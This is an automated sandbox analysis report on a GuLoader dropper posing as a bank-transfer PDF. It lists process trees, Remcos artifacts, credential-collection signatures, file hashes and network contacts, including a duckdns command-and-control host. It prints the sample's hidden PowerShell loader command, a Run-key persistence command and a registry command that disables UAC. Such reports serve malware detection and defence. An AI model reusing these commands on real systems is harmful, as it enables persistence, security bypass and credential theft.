Malware Analysis Report

2024-10-18 23:08

Sample ID 240710-kjp27szcnc
Target pko_trans_details_20240710_105339·pdf.exe
SHA256 d7325eb4553b2c58a8580cb84af63cfe5cdf4ff23a3d4e09a963c656d5717d8c
Tags
guloader collection downloader evasion execution persistence trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral4

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral6

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral8

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral3

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral5

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral7

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

d7325eb4553b2c58a8580cb84af63cfe5cdf4ff23a3d4e09a963c656d5717d8c

Threat Level: Known bad

The file pko_trans_details_20240710_105339·pdf.exe was found to be: Known bad.

Malicious Activity Summary

guloader collection downloader evasion execution persistence trojan

UAC bypass

Guloader,Cloudeye

NirSoft MailPassView

NirSoft WebBrowserPassView

Nirsoft

Blocklisted process makes network request

Command and Scripting Interpreter: PowerShell

Loads dropped DLL

Adds Run key to start application

Accesses Microsoft Outlook accounts

Legitimate hosting services abused for malware hosting/C2

Suspicious use of NtCreateThreadExHideFromDebugger

Suspicious use of SetThreadContext

Suspicious use of NtSetInformationThreadHideFromDebugger

Program crash

Enumerates physical storage devices

Unsigned PE

NSIS installer

Suspicious use of AdjustPrivilegeToken

Suspicious use of SetWindowsHookEx

Suspicious use of WriteProcessMemory

Modifies registry key

Suspicious behavior: EnumeratesProcesses

Suspicious behavior: MapViewOfSection

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-07-10 08:38

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

NSIS installer

installer
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-07-10 08:38

Reported

2024-07-10 08:40

Platform

win7-20240704-en

Max time kernel

149s

Max time network

148s

Command Line

"C:\Users\Admin\AppData\Local\Temp\pko_trans_details_20240710_105339·pdf.exe"

Signatures

Guloader,Cloudeye

downloader guloader

UAC bypass

evasion trojan
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Windows\SysWOW64\reg.exe N/A

NirSoft MailPassView

Description Indicator Process Target
N/A N/A N/A N/A

NirSoft WebBrowserPassView

Description Indicator Process Target
N/A N/A N/A N/A

Nirsoft

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Accesses Microsoft Outlook accounts

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000\Software\Microsoft\Windows\CurrentVersion\Run\Preeffort = "%Begittede% -windowstyle minimized $Assiduity=(Get-ItemProperty -Path 'HKCU:\\Jeglasset\\').Communicatory;%Begittede% ($Assiduity)" C:\Windows\SysWOW64\reg.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A drive.google.com N/A N/A
N/A drive.google.com N/A N/A

Suspicious use of NtCreateThreadExHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of NtSetInformationThreadHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Modifies registry key

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\reg.exe N/A
N/A N/A C:\Windows\SysWOW64\reg.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2812 wrote to memory of 2856 N/A C:\Users\Admin\AppData\Local\Temp\pko_trans_details_20240710_105339·pdf.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2812 wrote to memory of 2856 N/A C:\Users\Admin\AppData\Local\Temp\pko_trans_details_20240710_105339·pdf.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2812 wrote to memory of 2856 N/A C:\Users\Admin\AppData\Local\Temp\pko_trans_details_20240710_105339·pdf.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2812 wrote to memory of 2856 N/A C:\Users\Admin\AppData\Local\Temp\pko_trans_details_20240710_105339·pdf.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2856 wrote to memory of 2076 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 2856 wrote to memory of 2076 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 2856 wrote to memory of 2076 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 2856 wrote to memory of 2076 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 2076 wrote to memory of 264 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 2076 wrote to memory of 264 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 2076 wrote to memory of 264 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 2076 wrote to memory of 264 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 2856 wrote to memory of 2936 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 2856 wrote to memory of 2936 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 2856 wrote to memory of 2936 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 2856 wrote to memory of 2936 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 2936 wrote to memory of 596 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 2936 wrote to memory of 596 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 2936 wrote to memory of 596 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 2936 wrote to memory of 596 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 2856 wrote to memory of 1140 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2856 wrote to memory of 1140 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2856 wrote to memory of 1140 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2856 wrote to memory of 1140 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2856 wrote to memory of 1140 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2856 wrote to memory of 1764 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2856 wrote to memory of 1764 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2856 wrote to memory of 1764 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2856 wrote to memory of 1764 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2856 wrote to memory of 1764 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2856 wrote to memory of 1728 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2856 wrote to memory of 1728 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2856 wrote to memory of 1728 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2856 wrote to memory of 1728 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2856 wrote to memory of 1728 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Users\Admin\AppData\Local\Temp\pko_trans_details_20240710_105339·pdf.exe

"C:\Users\Admin\AppData\Local\Temp\pko_trans_details_20240710_105339·pdf.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" -windowstyle hidden "$Forhrt=Get-Content 'C:\Users\Admin\AppData\Local\kilns\Unobtainably\Helicopter.San';$Forset=$Forhrt.SubString(45874,3);.$Forset($Forhrt)"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Preeffort" /t REG_EXPAND_SZ /d "%Begittede% -windowstyle minimized $Assiduity=(Get-ItemProperty -Path 'HKCU:\Jeglasset\').Communicatory;%Begittede% ($Assiduity)"

C:\Windows\SysWOW64\reg.exe

REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Preeffort" /t REG_EXPAND_SZ /d "%Begittede% -windowstyle minimized $Assiduity=(Get-ItemProperty -Path 'HKCU:\Jeglasset\').Communicatory;%Begittede% ($Assiduity)"

C:\Windows\SysWOW64\cmd.exe

/k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f

C:\Windows\SysWOW64\reg.exe

C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\Admin\AppData\Local\Temp\ctbyqqvqppawzvpxqeskfzzfkufbvjjw"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\Admin\AppData\Local\Temp\mwpi"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\Admin\AppData\Local\Temp\pqubsbqd"

Network

Country Destination Domain Proto
US 8.8.8.8:53 drive.google.com udp
GB 172.217.16.238:443 drive.google.com tcp
US 8.8.8.8:53 c.pki.goog udp
GB 216.58.201.99:80 c.pki.goog tcp
US 8.8.8.8:53 o.pki.goog udp
GB 216.58.201.99:80 o.pki.goog tcp
US 8.8.8.8:53 drive.usercontent.google.com udp
GB 216.58.201.97:443 drive.usercontent.google.com tcp
US 8.8.8.8:53 a458386d9.duckdns.org udp
DE 217.76.50.73:3256 a458386d9.duckdns.org tcp
DE 217.76.50.73:3256 a458386d9.duckdns.org tcp
US 8.8.8.8:53 geoplugin.net udp
DE 217.76.50.73:3256 a458386d9.duckdns.org tcp
DE 217.76.50.73:3256 a458386d9.duckdns.org tcp
NL 178.237.33.50:80 geoplugin.net tcp

Files

\Users\Admin\AppData\Local\Temp\nsy8805.tmp\nsDialogs.dll

MD5 1c8b2b40c642e8b5a5b3ff102796fb37
SHA1 3245f55afac50f775eb53fd6d14abb7fe523393d
SHA256 8780095aa2f49725388cddf00d79a74e85c9c4863b366f55c39c606a5fb8440c
SHA512 4ff2dc83f640933162ec8818bb1bf3b3be1183264750946a3d949d2e7068ee606277b6c840193ef2b4663952387f07f6ab12c84c4a11cae9a8de7bd4e7971c57

\Users\Admin\AppData\Local\Temp\nsy8805.tmp\BgImage.dll

MD5 521df745a41f0b8164ffd01717cacbba
SHA1 dc7a9eacfbeb1fae52091da5e80db6cb1b6bce74
SHA256 dbf91707fa157603bea025a6411cdcb497ab11262c9c18b14dc431a45aa17c0b
SHA512 c5b1ba062872a8f534e2f0eac57fc3c0d8be9cda79605d86566d67260ba5477444a0ddfed1838b4fb14c677e5342c8419a88fcd38147dbaa36ac1f9e00c52bbe

\Users\Admin\AppData\Local\Temp\nsy8805.tmp\UserInfo.dll

MD5 acbda33dd5700c122e2fe48e3d4351fd
SHA1 2c154baf7c64052ee712b7cdf9c36b7697dd3fc8
SHA256 943b33829f9013e4d361482a5c8981ba20a7155c78691dbe02a8f8cd2a02efa0
SHA512 d090adf65a74ac5b910b18bb67e989714335e7b4778cd771cff154d7186351a1bebbc7103cca849bdfa2709c991947ffff6c1d8fdf16a74f4dfb614bce3ff6fd

memory/2856-30-0x0000000073611000-0x0000000073612000-memory.dmp

memory/2856-31-0x0000000073610000-0x0000000073BBB000-memory.dmp

memory/2856-32-0x0000000073610000-0x0000000073BBB000-memory.dmp

memory/2856-33-0x0000000073610000-0x0000000073BBB000-memory.dmp

memory/2856-34-0x0000000073610000-0x0000000073BBB000-memory.dmp

C:\Users\Admin\AppData\Local\kilns\Unobtainably\Helicopter.San

MD5 bf1ebfd1285dd7ef43a587e9f51a8e33
SHA1 1dede4026611e9f40c91d9bbe406a06b2fd8bfa4
SHA256 de1db1c0a065f580b4fe878c5b363933e45ec7f0c06118d29b6d167af24189ff
SHA512 3b7b11a8989a0b46e4091c8e4c81e71a2454fc9fba77618d844653d548ecd59a2c8b8fce3338fa499ca84da8664f7e34f355ab8b18e3507598f5f63dd3a80389

memory/2856-37-0x0000000073610000-0x0000000073BBB000-memory.dmp

C:\Users\Admin\AppData\Local\kilns\Unobtainably\Polemoniaceae11.Non

MD5 afc1982fff88592a55312010cfc773c6
SHA1 c57e918c5149ca9c2a331a78ecef84ffc667feb7
SHA256 02a71af4b95cf275ba0430022e9c2665bd1e4ddb3177202c1c3059901eefd4f0
SHA512 f4acf46244cb0115e0666a631af6dd2e7400478103cd9c152e48307a2239108e7e6bf3b39467747b3efa8b0fbdc59216ad6a26ec5587c19bb56fb4512233117e

memory/2856-39-0x0000000073610000-0x0000000073BBB000-memory.dmp

memory/2856-40-0x0000000006570000-0x000000000B12C000-memory.dmp

memory/2856-41-0x0000000073610000-0x0000000073BBB000-memory.dmp

memory/2856-63-0x0000000006570000-0x000000000B12C000-memory.dmp

memory/1764-67-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

memory/1764-68-0x0000000000400000-0x0000000000462000-memory.dmp

memory/1140-66-0x0000000000400000-0x0000000000478000-memory.dmp

memory/1764-72-0x0000000000400000-0x0000000000462000-memory.dmp

memory/1140-74-0x0000000000400000-0x0000000000478000-memory.dmp

memory/1764-73-0x0000000000400000-0x0000000000462000-memory.dmp

memory/1728-71-0x0000000000400000-0x0000000000424000-memory.dmp

memory/1140-69-0x0000000000400000-0x0000000000478000-memory.dmp

memory/1140-65-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

memory/1728-76-0x0000000000400000-0x0000000000424000-memory.dmp

memory/1728-75-0x0000000000400000-0x0000000000424000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\ctbyqqvqppawzvpxqeskfzzfkufbvjjw

MD5 f3b25701fe362ec84616a93a45ce9998
SHA1 d62636d8caec13f04e28442a0a6fa1afeb024bbb
SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
SHA512 98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

memory/2856-85-0x0000000010000000-0x0000000010019000-memory.dmp

memory/2856-89-0x0000000010000000-0x0000000010019000-memory.dmp

memory/2856-88-0x0000000010000000-0x0000000010019000-memory.dmp

C:\ProgramData\remcos\logs.dat

MD5 916d87716e284ad70028f968c063d37c
SHA1 7d66790055f596e81ad939ad271b6b9d21fed2ae
SHA256 69bc9bf9329f98e8ab8b196e477bfd84205271f8a43c87d898ea4c55c3da6c02
SHA512 6019cadabf6959601384e5fb8d79a0915d65206ce94b91cf31574119d04dae2026d3106bc2334f571182db64864a92cf9120adf66aadaa3c94d7f492da5a2cb4

Analysis: behavioral4

Detonation Overview

Submitted

2024-07-10 08:38

Reported

2024-07-10 08:40

Platform

win10v2004-20240709-en

Max time kernel

149s

Max time network

150s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\$PLUGINSDIR\BgImage.dll,#1

Signatures

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4228 wrote to memory of 4528 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 4228 wrote to memory of 4528 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 4228 wrote to memory of 4528 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\$PLUGINSDIR\BgImage.dll,#1

C:\Windows\SysWOW64\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\$PLUGINSDIR\BgImage.dll,#1

Network

Country Destination Domain Proto
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 13.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 udp

Files

N/A

Analysis: behavioral6

Detonation Overview

Submitted

2024-07-10 08:38

Reported

2024-07-10 08:40

Platform

win10v2004-20240709-en

Max time kernel

92s

Max time network

126s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\$PLUGINSDIR\UserInfo.dll,#1

Signatures

Program crash

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\rundll32.exe

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2920 wrote to memory of 1912 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 2920 wrote to memory of 1912 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 2920 wrote to memory of 1912 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\$PLUGINSDIR\UserInfo.dll,#1

C:\Windows\SysWOW64\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\$PLUGINSDIR\UserInfo.dll,#1

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 1912 -ip 1912

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1912 -s 612

Network

Country Destination Domain Proto
US 8.8.8.8:53 2.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp

Files

N/A

Analysis: behavioral8

Detonation Overview

Submitted

2024-07-10 08:38

Reported

2024-07-10 08:40

Platform

win10v2004-20240709-en

Max time kernel

150s

Max time network

154s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\$PLUGINSDIR\nsDialogs.dll,#1

Signatures

Program crash

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\rundll32.exe

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3428 wrote to memory of 4188 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 3428 wrote to memory of 4188 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 3428 wrote to memory of 4188 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\$PLUGINSDIR\nsDialogs.dll,#1

C:\Windows\SysWOW64\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\$PLUGINSDIR\nsDialogs.dll,#1

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 4188 -ip 4188

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 4188 -s 636

Network

Country Destination Domain Proto
US 8.8.8.8:53 g.bing.com udp
US 13.107.21.237:443 g.bing.com tcp
US 8.8.8.8:53 237.21.107.13.in-addr.arpa udp
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 73.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 205.47.74.20.in-addr.arpa udp
US 8.8.8.8:53 26.165.165.52.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 73.144.22.2.in-addr.arpa udp
US 8.8.8.8:53 81.144.22.2.in-addr.arpa udp
US 8.8.8.8:53 udp

Files

N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-07-10 08:38

Reported

2024-07-10 08:40

Platform

win10v2004-20240709-en

Max time kernel

94s

Max time network

125s

Command Line

"C:\Users\Admin\AppData\Local\Temp\pko_trans_details_20240710_105339·pdf.exe"

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\pko_trans_details_20240710_105339·pdf.exe

"C:\Users\Admin\AppData\Local\Temp\pko_trans_details_20240710_105339·pdf.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" -windowstyle hidden "$Forhrt=Get-Content 'C:\Users\Admin\AppData\Local\kilns\Unobtainably\Helicopter.San';$Forset=$Forhrt.SubString(45874,3);.$Forset($Forhrt)"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4848 -ip 4848

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 4848 -s 2644

Network

Country Destination Domain Proto
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
US 8.8.8.8:53 71.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 31.243.111.52.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\nsfAD48.tmp\nsDialogs.dll

MD5 1c8b2b40c642e8b5a5b3ff102796fb37
SHA1 3245f55afac50f775eb53fd6d14abb7fe523393d
SHA256 8780095aa2f49725388cddf00d79a74e85c9c4863b366f55c39c606a5fb8440c
SHA512 4ff2dc83f640933162ec8818bb1bf3b3be1183264750946a3d949d2e7068ee606277b6c840193ef2b4663952387f07f6ab12c84c4a11cae9a8de7bd4e7971c57

C:\Users\Admin\AppData\Local\Temp\nsfAD48.tmp\BgImage.dll

MD5 521df745a41f0b8164ffd01717cacbba
SHA1 dc7a9eacfbeb1fae52091da5e80db6cb1b6bce74
SHA256 dbf91707fa157603bea025a6411cdcb497ab11262c9c18b14dc431a45aa17c0b
SHA512 c5b1ba062872a8f534e2f0eac57fc3c0d8be9cda79605d86566d67260ba5477444a0ddfed1838b4fb14c677e5342c8419a88fcd38147dbaa36ac1f9e00c52bbe

C:\Users\Admin\AppData\Local\Temp\nsfAD48.tmp\UserInfo.dll

MD5 acbda33dd5700c122e2fe48e3d4351fd
SHA1 2c154baf7c64052ee712b7cdf9c36b7697dd3fc8
SHA256 943b33829f9013e4d361482a5c8981ba20a7155c78691dbe02a8f8cd2a02efa0
SHA512 d090adf65a74ac5b910b18bb67e989714335e7b4778cd771cff154d7186351a1bebbc7103cca849bdfa2709c991947ffff6c1d8fdf16a74f4dfb614bce3ff6fd

memory/4848-24-0x0000000073DFE000-0x0000000073DFF000-memory.dmp

memory/4848-25-0x0000000002AD0000-0x0000000002B06000-memory.dmp

memory/4848-26-0x00000000053B0000-0x00000000059D8000-memory.dmp

memory/4848-27-0x0000000073DF0000-0x00000000745A0000-memory.dmp

memory/4848-28-0x0000000073DF0000-0x00000000745A0000-memory.dmp

memory/4848-29-0x0000000005110000-0x0000000005132000-memory.dmp

memory/4848-31-0x0000000005A50000-0x0000000005AB6000-memory.dmp

memory/4848-30-0x00000000059E0000-0x0000000005A46000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ngteszyj.lto.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4848-41-0x0000000005AC0000-0x0000000005E14000-memory.dmp

memory/4848-42-0x00000000060C0000-0x00000000060DE000-memory.dmp

memory/4848-43-0x0000000006110000-0x000000000615C000-memory.dmp

memory/4848-46-0x0000000006610000-0x0000000006632000-memory.dmp

memory/4848-45-0x00000000065F0000-0x000000000660A000-memory.dmp

memory/4848-44-0x00000000072A0000-0x0000000007336000-memory.dmp

memory/4848-47-0x00000000078F0000-0x0000000007E94000-memory.dmp

C:\Users\Admin\AppData\Local\kilns\Unobtainably\Helicopter.San

MD5 bf1ebfd1285dd7ef43a587e9f51a8e33
SHA1 1dede4026611e9f40c91d9bbe406a06b2fd8bfa4
SHA256 de1db1c0a065f580b4fe878c5b363933e45ec7f0c06118d29b6d167af24189ff
SHA512 3b7b11a8989a0b46e4091c8e4c81e71a2454fc9fba77618d844653d548ecd59a2c8b8fce3338fa499ca84da8664f7e34f355ab8b18e3507598f5f63dd3a80389

memory/4848-49-0x0000000008520000-0x0000000008B9A000-memory.dmp

memory/4848-51-0x0000000073DF0000-0x00000000745A0000-memory.dmp

Analysis: behavioral3

Detonation Overview

Submitted

2024-07-10 08:38

Reported

2024-07-10 08:40

Platform

win7-20240705-en

Max time kernel

13s

Max time network

21s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\$PLUGINSDIR\BgImage.dll,#1

Signatures

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3040 wrote to memory of 2144 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 3040 wrote to memory of 2144 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 3040 wrote to memory of 2144 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 3040 wrote to memory of 2144 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 3040 wrote to memory of 2144 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
